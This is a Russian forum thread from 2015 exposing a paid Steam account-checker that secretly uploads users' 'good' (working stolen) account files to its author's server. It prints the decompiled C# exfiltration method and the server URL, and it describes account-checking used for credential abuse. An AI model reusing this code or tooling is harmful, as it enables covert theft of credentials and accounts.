1. krestall07.07.2025 в 14:09от
Загрузка...
Загрузка...

Как JLeGioH ворует аккаунты (Разоблачение от SHADOW)

Тема в разделе "Курилка", создана пользователем Dekex, 16.12.2015.

  1. Dekex

    Dekex

    Статус:
    Оффлайн
    Регистрация:
    18.11.15
    Сообщения:
    95
    Репутация:
    101 +/-
    Многим наверное известно, что есть человек с ником JLeGioH, который продаёт свои софты на различные сервисы. Давайте посмотрим на примере SteamCheCkeR v4.5.1 от 15.12.2015 как данный человек ворует все ваши найденные (хорошие) аккаунты из проектных папок и непосредственно из папки с софтом.

    Для начала, общий принцип работы софта при запуске. Софт делает запрос на сервер JLeGioH'а, откуда скачивает (при условии, что лицензия на софт валидна) исходный код вспомогательной сборки (далее - модуля) и на стороне клиента компилирует его при помощи средств CSharpCodeProvider. Данный модуль имеет в себе класс NewJLBaseClass. Софт создаёт экземпляр данного класса и с ним уже работает.
    [​IMG]
    Теперь давайте рассмотрим конструктор данного класса, что же происходит там. На скриншоте ниже мы видим, что идёт проверка файла hosts. Если в данном файле нашлась строка http://jlegioh.com или jlegioh.info, то софт по понятным причинам закрывается.
    [​IMG]
    Идём далее. На скриншоте ниже мы видим, как запускается несколько таймеров. Эти таймеры предназначены для периодической отправки на сервер JLeGioH'а запроса, который проверяет наличие лицензии а также для проверки фоновых процессов и закрытия софта в случае, если найден процесс или название окна из чёрного списка.
    [​IMG]
    Так что не удивляйтесь, если у вас есть лицензионная версия софта и он внезапно закрывается, если вы заходите, например, в раздел PC-RET на нашем форуме. С полным списком запрещенных софтов можно ознакомиться по этой ссылке -http://jlegioh.com/SoftList/GetSoftList
    Что ж, анализируем дальше. Самое интересное впереди.
    На следующем скриншоте вы можете видеть как с сервера загружается следующий модуль.
    [​IMG]
    Скриншот метода:
    [​IMG]
    Что происходит дальше, вы можете видеть на скриншоте. Загружается сборка, создаётся экземпляр класса CheckForm, а затем стартует интересный поток, который мы сейчас рассмотрим.
    [​IMG]
    Скриншот метода StartTh:
    [​IMG]
    Скриншот метода StartOne:
    [​IMG]
    Теперь мы подошли к самому интересному. Обратите внимание на метод GetStat. Вроде ничем не примечательное название, но именно из-за этого метода и была создана данная тема. Ознакомимся же с его содержимым.

    Скриншот метода GetStat:
    [​IMG]

    Уловили суть происходящего? Если нет, то ниже я описываю каждый шаг, что происходит в этом методе.

    Метод GetStart:
    Код:
    private void GetStat()  // объявление метода
       {
         string text = null;  // присваивание переменной text пустого значения
         string[] directories = Directory.GetDirectories(Directory.GetCurrentDirectory());  // получаем список папок в текущей папке
         for (int i = 0; i < directories.Length; i++)  // цикл обработки папок
         {
           string path = directories[i];  // в переменную path помещаем путь к очередной папке из ранее полученного списка папок
           string[] files = Directory.GetFiles(path);  // получаем список файлов, которые находятся в папке
           for (int j = 0; j < files.Length; j++)  // цикл обработки файлов
           {
             string text2 = files[j];  // в переменную text2 помешаем путь к очередному файлу из папки
             if (text2.Split(new char[]
             {
               '\\'
             }).Last<string>().ToLower().Contains("good"))  // Разбиваем путь к файлу на отдельные части, используя разделитель "\\". Проверка наличия в последней части пути к файлу строки "good".
             {
               text += File.ReadAllText(text2);  // Если предыдущее условие выполнено, то есть строка good найдена, то дозаписываем в переменную text содержимое файла
             }
           }
         }
         string[] files2 = Directory.GetFiles(Directory.GetCurrentDirectory());  // получаем список файлов в текущей папке
         for (int k = 0; k < files2.Length; k++)  // цикл обработки файлов
         {
           string text3 = files2[k];  // в переменную text3 помешаем путь к очередному файлу
           if (text3.Split(new char[]
           {
             '\\'
           }).Last<string>().ToLower().Contains("good"))  // Разбиваем путь к файлу на отдельные части, используя разделитель "\\". Проверка наличия в последней части пути к файлу строки "good".
           {
             text += File.ReadAllText(text3);  // Если предыдущее условие выполнено, то есть строка good найдена, то дозаписываем в переменную text содержимое файла
           }
         }
         if (!string.IsNullOrEmpty(text))  // Проверка переменной text, есть ли в ней некое содержимое
         {
           this.GetFormaterFromServer(text);  // Выполнение метода отпрвки запроса на сервер, при этом в аргументы передаётся переменная text
         }
       }
    Что мы выяснили? Все файлы, в названии которых есть "good" отправляется на сервер автора! Причем, запрос выглядит весьма безобидно и не должен вызвать никаких подозрений (даже при том, что объем передаваемых данных никак не ограничен).
    А вот и сам запрос - http://jlegioh.com/Sender/CheckStatusConfigs

    Но давайте посмотрим в каком виде хотя бы передаются гуды на сервер.
    [​IMG]
    Мы видим, что гуды шифруются методом Sha1Cript. Скриншот этого метода приводить не буду, скажу лишь только, что сначала данные шифруются при помощи алгоритма Rijndael (AES), а затем идёт преобразование в Base64. Ну хотя бы на этом спасибо, что автор не передаёт гуды в открытом виде.

    В заключении хочу сказать, что цена софта не показатель качества и добросовестности автора и даже в таком дорогом софте, как софте от JLeGioH, могут быть такие неприятные детали. Стоит также отметить, что автор имеет возможность убрать отправку гудов, лишь изменив на стороне сервера модули, которые будет скачивать софт.

    Прикладываю также модули для желающих самостоятельно ознакомиться с кодом.
    Скачать
    Автор SHADOW
     
    Последнее редактирование: 16.12.2015
  2. ๖ۣۜSeller_Dingo

    Требуются спамеры!
    ๖ۣۜSeller_Dingo

    Статус:
    Оффлайн
    Регистрация:
    26.07.14
    Сообщения:
    581
    Репутация:
    579 +/-
    блин, картинки не открываються
     
  3. BREE

    BREE

    Статус:
    Оффлайн
    Регистрация:
    14.08.14
    Сообщения:
    308
    Репутация:
    324 +/-
    нормас)
     
  4. mmfast

    mmfast

    Статус:
    Оффлайн
    Регистрация:
    21.02.13
    Сообщения:
    508
    Репутация:
    819 +/-
    Доведи тему до ума, поправь картинки.
     
  5. Federal

    Бабки не проблема. © Solo
    Federal

    Статус:
    Оффлайн
    Регистрация:
    22.08.12
    Сообщения:
    2.118
    Репутация:
    3.233 +/-
    верится с трудом
     
  6. Dekex

    Dekex

    Статус:
    Оффлайн
    Регистрация:
    18.11.15
    Сообщения:
    95
    Репутация:
    101 +/-
    Пробуй
     
  7. Dekex

    Dekex

    Статус:
    Оффлайн
    Регистрация:
    18.11.15
    Сообщения:
    95
    Репутация:
    101 +/-
    Поправил
     
  8. man

    man

    Статус:
    Оффлайн
    Регистрация:
    30.04.10
    Сообщения:
    2.231
    Репутация:
    792 +/-
    Я так понимаю, что модули у него в открытом виде передаются в софт? Иначе откуда сорцы показаны на скринах :buba:
     
  9. Dekex

    Dekex

    Статус:
    Оффлайн
    Регистрация:
    18.11.15
    Сообщения:
    95
    Репутация:
    101 +/-
    Шадов крякер
     
  10. Dekex

    Dekex

    Статус:
    Оффлайн
    Регистрация:
    18.11.15
    Сообщения:
    95
    Репутация:
    101 +/-
    Что еще скажете?
     
  11. Lees

    ꕔ ꕔ
    Lees

    Статус:
    Оффлайн
    Регистрация:
    08.11.11
    Сообщения:
    71
    Репутация:
    1.646 +/-
    Не прошло и пять лет....
     
  12. perkaa

    perkaa

    Статус:
    Оффлайн
    Регистрация:
    16.12.15
    Сообщения:
    13
    Репутация:
    -18 +/-
    то, что он наживается на этом
     
  13. Lees

    ꕔ ꕔ
    Lees

    Статус:
    Оффлайн
    Регистрация:
    08.11.11
    Сообщения:
    71
    Репутация:
    1.646 +/-
    Он 'один?